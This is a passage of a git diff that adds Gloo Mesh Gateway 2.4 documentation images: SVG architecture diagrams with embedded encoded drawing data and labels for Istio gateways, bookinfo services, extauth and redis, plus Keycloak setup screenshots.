cdTAwMTO0XHUwMDE419TcwVx1MDAwNdJcdTAwMWQzUDebvazesFx1MDAwNVx1MDAwNlx1MDAwNMSvXHUwMDE04EG4XHUwMDE18KZcdTAwMGavoydwiZlagFx1MDAxMsZcdTAwMDRON9mTSG2Ead7IXHUwMDA1gFx1MDAwYsX0h0uZXHUwMDE4xaZtXHUwMDAz+lx1MDAwMi6uye3avf6WNIm1XHUwMDAw6LYoZXGuZ5nnp+S0SVx1MDAxMv38eFx1MDAxNJfpkVtcdTAwMGLSXHL1t1ZNxDDr8mhqXHUwMDAxXHUwMDEwoKYtXHUwMDE5/JssO7BcdTAwMDBcdTAwMDdgS1x0+IQog2qVe8BcdTAwMTeAvLIu7lx1MDAwMVxcmGWQuMbASIRw6Vx1MDAwNFxcpCW5qfGpXHUwMDAwXHUwMDEwXHUwMDBi4lBiXHUwMDEwYC1ALPq710+Nnb1dXHR+XHUwMDEyu0jl7uVtXHUwMDAxNS6K+sSuWj6SyWH3pDlQNvmyxklMXHUwMDFkksmZZbQyXGJcdTAwMTU1P2iTvyTUllx1MDAxOe7vlfNEOZMtzsTxOKZ7OMNcdTAwMWbTjvVTTYVBbFx1MDAxY1x1MDAxMFSDNWKgsVqfXHUwMDE0tyhQJFwi1FRbQvjLl+pxo25zrdF1UPJcctuKN6518EGgPFx1MDAxMKy9f2Tq3eMyouVTXHUwMDExXHUwMDA3XHUwMDA1glx1MDAxNNhcXEBpXHUwMDFj0+WsPTCEQV9cdFx0yplcdFNe2L1cXM9exaG5yedVlGFTXHUwMDExnth9hItcYlx1MDAwZm5cIm9cdFx1MDAxMDuAXHUwMDEyrNCadFx1MDAwM7OSULExqO+Ly7a3q1it33qg6ctkhfHO3euwMow5iVx1MDAxMWTS1Vx1MDAwMMhrsKgpTMBWXGZ/IUaMqWtcbntI031ULU7gt5RtW1x1MDAxNKyeY0ZjRVx1MDAwMO9hunRcdTAwMDK9qJ5cbqKPc9NcdTAwMWLA1FdFdG1SX0m2udP2j09XqDo42aZd21x1MDAxZZlq4Fxcb+Vy8u5cdTAwMGJcdTAwMWNR2Vx1MDAwNpDYXHUwMDAyYExcdTAwMThiJqmXrMk2Y+8yQ2uYglx1MDAwNeJcdTAwMGXe9pJtjFx1MDAwMUQkXHUwMDFjkFx1MDAwMzHVdFx1MDAxY1willxyiVx1MDAwMIbkWHKgXHUwMDAwXHUwMDEwyWvAjVx1MDAxMID/mm48jPziwu38garkdb1+r1HqOXVcdTAwMTnDT13ccsFI1FRqXHUwMDEyYGWZwCFcImyHd1x1MDAwYowkiEHoXHUwMDFh7Dak0K6F77cpWI00NnUplMlcblx1MDAwNaJzqk2kweDlnJriXHUwMDE0pi8pkmuz+krSLeZK3uZaI+wtpZtnUjp3P1hVQJBcbsx5/9bpcfU099bMZsdn1902vZy2RV28RTspXHUwMDE37Fx1MDAxMVx1MDAwYsxcdTAwMTLTe9i8LjtcdTAwMTWJ0tIysejGRjAxZGxlXsGUW/DT1s3WXHUwMDEw6cOJKIBYQFx1MDAwM0WzSvQxjlx1MDAwZl8rV52r2GMuXiml6rnU+eXfdrr+7uu2x7ghLe/3sPBdfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdV2a/W61Z7PzWXOao7H6tHR8SrOPaNq9cZluQI3dnFx1MDAxN2gx7JpcdTAwMTBcYruxm7Cd86xcdTAwMWViMSxcdTAwMTFoXHUwMDFi/2E83ttcdTAwMWbRZlx1MDAwNEJcdFx1MDAwZoVcdTAwMDNWpkWDUjhBNPvFwlx1MDAwNG5cdTAwMTO28ZQ2YmesXHUwMDBiKtilrZutKP/xTeqfzqDcf7dX0v2Ebr9cdTAwMWKwlEdcdTAwMWJcdTAwMDGY8dHPXHTvgVx1MDAwYoUrLpTmUIiTLUryNujVsIBw7bXHajf3hdpcdMvmz6ONXHUwMDBisSAm4Fx1MDAwZVx1MDAxM6FcdTAwMTUzvd/WkCG3TNckk80oXHUwMDE03TNHPVBgKFx07Fx1MDAxMEdcIrx63PvgQsSPj3li/JquXHUwMDBmJuPKzV3rpF9cIt+4MChcXFx1MDAxONLyflx1MDAwZlx1MDAxYt6wk+NUvJVcdTAwMWOd33XaaDrRNULi7ZNcdTAwMDBI4VlVj1G31y1cdTAwMWOPXtu8dFmbJCv9UOGm81x1MDAwMm1cdTAwMGI3beVR9oWbcoN3XHUwMDAzoS28XHUwMDFi3ttcdTAwMWZRuFx0ekx76TFtilwiXHUwMDA3pMdcdTAwMDLBm5gxJDhcdTAwMTWRxZvO5Pnl8eZcdTAwMDaMXHUwMDE2XHUwMDAw3vQ4ZZGuVqGJndoqv8tbmkb0jIVcdTAwMTNqaYZcdTAwMTlcdTAwMTWCKKT06lx1MDAxOcs8XHUwMDAxzNQ+RoQg5W5cdTAwMTTu1X5TXHUwMDAzoFUmSdu8UuRQXHUwMDE0XHUwMDEwZiGIyUKjnHFuuvCssi9TpsAhQ5E9P97AvUFcdTAwMWaxoHm8NqLmSF1KeJVcdTAwMGV9q0w+XHUwMDA0wibJVyisd+xh5c2/R8tcdTAwMDcsXHUwMDEymVx1MDAwNFx1MDAwN1x0lr1cdTAwMDb7XHUwMDFlO55pm06IoFx1MDAxOFx1MDAxNHxFMrJ+pv3Fmm+6kre5YuuUvVx1MDAxOO8v+8/thZtX6lx1MDAxYUXG0bNFnXlvTFx1MDAxN1HpJrWpX0CB4kxRebJcXP2EaFwigf5N8SNt0lx1MDAwMWhYndNh/5mpsWS6s2vslL6KLYZcdTAwMTgwKlXc1G1gaFxynTCASCZcIjayJ8jBiDffssRkkGttXHUwMDFh8lx1MDAwMbQ057DcobmwXHSNXCLcXHUwMDE0yTN908Wu4THJ22nquHZcdTAwMWUv5mYs3muf6W5+5Fx1MDAxOI9cYvJcckjJVFx1MDAwNeFcdTAwMDLDP7BYXHUwMDBmj5FcdTAwMTaT3JSh1lx1MDAxNEtcdTAwMDJLXHUwMDE3hHg7XFx0jCtxmyu2TteBXHQ37V7LkkrFselcbuhbuHmfu0RTuFx0wS2FwcDi1NSuYKvIjZgmXHUwMDFhQGlEmmovOqTO6fO+pqY2XHUwMDEzn5fqc1xua1x1MDAwNk6lXHUwMDE0XHUwMDExLKlcdTAwMTFinK8npVxibJqtbU5K+eLCzduxvlxmlDBcdTAwMDJQbuqBXHUwMDEwo72kY1xiseRcYkkhgdRcdTAwMDGf/0rI3Das+e2yNZvE0aSHmjGRfLl5OZ5JN/BcdTAwMDZyjVx1MDAxM1MvSYKyXHUwMDE0bH1SwmJcdTAwMWOmy0yuhTJ1hr+0cIu5Uvf803XCXHUwMDBlXHUwMDBlubmXXHUwMDFkMWE6c3DsW7h5XHUwMDFm/kZTuCkuLWpcbidppMzrKnKjpo1cdTAwMWM31ivwhlx1MDAxNiFcdLcg7FKspKJaIf0t3D6Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMG